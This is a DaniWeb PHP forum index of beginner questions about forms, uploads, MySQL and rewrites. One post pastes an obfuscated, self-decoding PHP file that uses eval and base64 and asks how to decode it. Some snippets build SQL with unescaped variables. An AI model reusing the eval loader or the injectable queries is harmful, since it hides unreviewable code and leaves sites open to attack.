39,393 Topics

Member Avatar for
Member Avatar for wewehalim

Hi, i am making 3 forms, let's say, form1, form2, form3. In form1, there is a field "givenname" and a submit button that link to form2, and i want to pass this field to form2, i can pass this without any difficulty. However, i also want to pass the field …

Member Avatar for gotschai
0
139
Member Avatar for prem2

Hi Daniweb Team, I saw the below code in following url.When i implement this code i does not receive any email.I need to send email via error_log function.Can any one tell me how to do this .For your reference i mentioned the code below. URL: [url]http://www.w3schools.com/php/func_error_log.asp[/url] [CODE] <?php $test=2; if …

Member Avatar for pritaeas
0
142
Member Avatar for niths

[QUOTE]hi all, i had a upload page and a down load page. so when we upload a file that wil get displayed in a table and a download link wil be beside that file. everything is fine wit upload but wen i click on download link i am getting an …

Member Avatar for colweb
0
144
Member Avatar for capoon

Hi every one, i try to upload form field into database along with the image but i want the the image name to be in my database as a link while the image itself will be in a directory. I have use something like this code before it works i …

Member Avatar for siamsoft
0
124
Member Avatar for niths

[QUOTE]hi, i had written two programs and those are working fine but my Team Lead wants that two programs to be in one single page. i used post method so if i place it in single page i am getting error. so can anybody... Thank u.[/QUOTE] -----projectcreation.php-------- [CODE]<html> <body> <script …

Member Avatar for rajarajan2017
0
109
Member Avatar for niths

[QUOTE]hi all, i need to echo the value obtained in the mysql query. so can any one .. Thank u.. [/QUOTE] [CODE]$sql2="select reportingto from users where username='$_SESSION[username]'"; mysql_error(); $result2 = mysql_query($sql2);[/CODE]

Member Avatar for niths
0
96
Member Avatar for ItecKid

Hello, I have two different tables I need to extract data from. They are linked by a number, that is to say the value of the field 'number' in table 1 is the same value as the value of the field 'num' in table 2. I can select data from …

Member Avatar for urtrivedi
0
136
Member Avatar for bobbymoir

My SEF URLs are working fine on my local machine (WAMP Server) but when i upload it to server (Server API : CGI) it shows all the pages as 404 error. Here is the code i use : [CODE] 1) .htaccess : Options -Indexes RewriteEngine on RewriteCond %{REQUEST_FILENAME} !-f RewriteRule …

Member Avatar for bobbymoir
0
160
Member Avatar for immortalvegan

I'd like to start using databases with my websites. I use PayPal shopping cart now and want to automate adding sales items for my customers product. It seems like PHP/MySQL is the easy answer. Am I right? I don't really want to build a whole cart just most of a …

Member Avatar for drjohn
0
129
Member Avatar for pjrey

all is well so far, just little hicups... one being.. i have a .pl script that logs ip/host time and date etc... i have changed the includes and it is functioning (ie, no 500 errors) but it is logging the server i am being hosted on [ Time: Tuesday May …

Member Avatar for almostbob
0
116
Member Avatar for Stefano Mtangoo
Member Avatar for mschroeder
0
92
Member Avatar for niths

hi all, what my query is when i enter into a page immediately that page should get refresh and that too only once. i tried for <meta http-equiv="refresh" content="2"> but it is refreshing after every 2 seconds. so can any one. Thank u

Member Avatar for whiteyoh
0
30
Member Avatar for niths

[QUOTE]hi all, i had done upload page in which we can upload files. But wat i need now is when we upload a file, that file should get saved into that persons folder and project name. wat i exactly mean is, wen 'X' logins and selects a project and uploads …

Member Avatar for whiteyoh
0
88
Member Avatar for nonshatter

Hi all, Is it possible to use the same javascript code in a while loop? The first record that is pulled from the database displays the javascript counter. Yet on the second iteration of the while loop (a new record pulled from the database), the javascript just seems to get …

Member Avatar for diafol
0
741
Member Avatar for weizpyr

Im trying to find out what are the most optimal steps in web devlopment. I largely work alone, on relatively small applications and spend a few months on a project. Kindly suggest me if these steps are right: [B]1. Making prototype [/B] using html or image editor [B]2. Designing the …

Member Avatar for weizpyr
0
78
Member Avatar for nonshatter

What features does PHP/MySQL provide to deal with concurrent systems? E.g, If I have a table, and I only want to allow one user to update at any one time. I want to put a lock on the database until the update is complete, then once that request is processed, …

Member Avatar for nonshatter
0
590
Member Avatar for Mestika

Hi, I’m currently trying to develop a method to get a overview of all my different web templates I’ve created and (legally) downloaded over the years. I thought about a displaying them like Wordpress is previewing it’s templates view a small preview windows, displaying the concrete file with styles and …

Member Avatar for mschroeder
0
311
Member Avatar for freedompeace

Well, um... Up to now I've been using a free host to do all my PHP messing around, and I've decided to purchase a decent web host and get serious. I previously had a great deal of help with securing my MySQL queries so that they wouldn't be injected, and …

Member Avatar for saad.khalid
0
109
Member Avatar for dmkc

Hi guys, I have a link in my php page that looks like the following: [code] <?php echo "<a href=hotel-map.php?id=$pid>Map Details</a>"; ?>[/code] Although instead of the "map details" text I want an image there... can someone tell me how I'd do this please? I can't seem to find anything around …

Member Avatar for dmkc
0
98
Member Avatar for Krstevski

Hello friends, I have problem with MODx, I want to create multiply blog... One blog and one page something like a front page. Do it possible to make this ? If it possible, how to do this ? Thanks.

Member Avatar for pritaeas
0
96
Member Avatar for 4789787

Ok so this game works perfectly fine on my own windows test box webserver but when I upload it to my website it doesnt work at all, It gives me the error in this php script, and iv determined the problem lies in the HTTP Referer method used, so is …

Member Avatar for colweb
0
338
Member Avatar for preetg

Hi everyone i am using Window XP, mozila firefox, and php 4.1 i made php project for my final year exams...now this is not runing.. my project consist menu that list out all the options. this menu is in javascript and css. where i developed that project runing properly.. but …

Member Avatar for rajarajan2017
0
110
Member Avatar for k2k

i am thinking to use php to read plain text... and draw graph. what is the best approach? i googled and found JpGraph which looks kinda cool.. not sure if it is commonly used though.

Member Avatar for furqan219
0
165
Member Avatar for roostr

I have the name of a php file stored in the database and i need to call that name and display that file on the current page. The code below tries to display a page called "$lay" [code=php] <? $q = "select layout from HomeUser where username = '$username'"; $lay …

Member Avatar for roostr
0
84
Member Avatar for jhbalaji

Hi, I got a file and it contain the following codes! Is it possible to decode them [CODE]<?php /* Leave the File asap! */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$OOO000O00=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$O0O000O00=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14}.$OOO000000{3};$O0O00OO00=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$OOO00000O=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=3140;eval($OOO0000O0('aWYoITApJE8wMDBPME8wMD0kT09PMDAwTzAwKCRPT08wTzBPMDAsJ3JiJyk7JE8wTzAwME8wMCgkTzAwME8wTzAwLDEwMjQpOyRPME8wMDBPMDAoJE8wMDBPME8wMCw0MDk2KTskT08wME8wME8wPSRPT08wMDAwTzAoJE9PTzAwMDAwTygkTzBPMDBPTzAwKCRPMDAwTzBPMDAsMzgwKSwnVEZhMkcrM3Byc2dqeG5tTWNOUGZEcTVCWUUvQWJTOFdoZWtIOUpPaVJMNEtkd1ZveVVRSXU3Q3Y2MXRaMGxYej0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'));return;?> sGlMx2FMx2FMx27JbOqiBvsJb3UeYCDRs7lWN9JxNqlWsQyksQrVsGlMfIFMxG0yxa6ksQrdsGlMfITyx2FMxah9fulMx2Tyx2FMgaNMxG0yxGlMx2TRsG0yx2FMxG0yxay9fu0yxG0yx2TygPyiqGEex9bKxvFQbCS4831wf5nmD3EGbfqa5DDoc5sfm+SRE5wrmDLM/qsxnGw9S7Eo8qqNPBDvcvYCxBN/x3UY8HuijaSFc9nGNDEpPGJgPuUnf9lcDqsfq+q5q7eE5O+kYCNJEOSR/5LKA37VAvFUbinuSBEv8pJtx2GQxIc7nHb6mPdosQ9LgfwOYCUobCDRsG0yx2FMxG0yxa9ZEBEeAah9fu0yxG0yxG0ygfd=2cLOS51HS3JoAkFkS5JdE++fgaNebirdspqQAGqVYCl9EqNRE5ulxP9naidnaOEobOqeYChRs3+QbkFebQT9/Cq1Mf69SO+dS5DLrTugsp+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/51HApq9EPT9/51HBCELA3qVY57JmyugWcugW5qdbCDh8yug/5YhgaNWDuqfDuJMfJdibOqi/BnuEBsJEaSSraGlr2GL2cLZ2cR9SBsdr2uhsCeuSpTtjQlQYBFLE3+HS3JoAiFQACELSpxVYClwjCULYCqVbCDoA3JHE51IEqlybOlHEBnIjiFRbabZ2cR9bOqIbaTlr3SJSpsJA5luE5noAiNJAiNI5pNQYPh9SBsdj3+QbO+1gaSLbablMkNWDuqPq9qP5QSPND7MqGqWcDNGDkSSjaS7bOyiMf69B7n+DJE+DJdiDuqPq9qPBu1FfDDiBPyib3+1b3+dsIuXs3+QAvSAsvFe8BFeAaSSjaSCEBriMf69YBsoS7diSOqQs7uLgfdnaOJOgaNQEBnyMfu1gcug8yugspn1b7lyYBJyY5ylsQbZ2cR9bv+dr2uhrJqcNG+DNPFeE37LAkFfNqchb3+1b3+dr2uhsQNI8BnWb3+1b3+dsyugac9saqSrNqs+r3NoA5+LAkTlrab9bvJIBCNoA5+LAkbkmyugspsJbCl7bOnJr2uhABJIb5UWbBqJbi9RraNIb5yhgfdnakN7bOyhMPTi/pNub2Rojvseb3J9Y5nu/5lVbpsoEOJubQ1HACuoA3JHE51IEPld/5nJAinJBCJIbvqJjiFRbabZ2cR9E3+I/+lHAC1uE51ubI7iEBNQE57oS3qHAC1uE51ub7eubOGRspqQAa9Z2cLJYCeoraN9YBnRBCnoAiNJAiNImyugEBeLSaTRgfdnai7JApnJrpdnakNWDuqfDuJMfJdibOqi/BnuEBsJEaSSr2uhgaNQEBnyMfuUgPTzxPTtr2ThmyugWcugWcugWcug [/CODE]

Member Avatar for freedompeace
0
144
Member Avatar for BlueCharge

Hello Everyone, I am currently working on a gaming website and am currently trying to parse the friends page on Xbox.com. Unfortuntaley though i thought that if i logged into xbox.com and then tried going to the page i made it would work, i was wrong. So i need to …

0
73
Member Avatar for roostr

I am getting the error: Parse error: syntax error, unexpected T_STRING on line 9 and I cannot figure out why. [code=php] <? session_start(); include("dbconf.php"); include("login.php"); if(isset($_COOKIE['cookname']) && isset($_COOKIE['cookpass'])){ setcookie("cookname", "", time()-60*60*24*365, "\"); setcookie("cookpass", "", time()-60*60*24*365, "\"); } if(!$logged_in){ echo "You are not logged in. Please log in and then log …

Member Avatar for roostr
0
140
Member Avatar for theMuffin

I am totally a newbie.. here is the code i have it working on another site or two but now it won't work here.. what am I doing wrong? <?php //we need to set a var to find what page we are on $pageOn = basename($_SERVER['PHP_SELF']); //this is used for …

Member Avatar for theMuffin
0
107
Member Avatar for furqan219

I have 100 records in My DB. I want to show 10 and then add another field in the record as UPDATE and then show these 10 as printer friendly.

Member Avatar for diafol
0
80
Member Avatar for jeeter19

Hi I'm just trying to input two string variables into 2 fields of a database that are VarChars. [CODE] $name = "jear"; $pass = "jartt2"; $query = 'INSERT INTO `user` (`id`, `name`, `password`, `char_name`) VALUES (NULL, '$name', '$pass', 'test')'; $result = mysql_query($query); [/CODE] This is the snippet of code that …

Member Avatar for jeeter19
0
73

The End.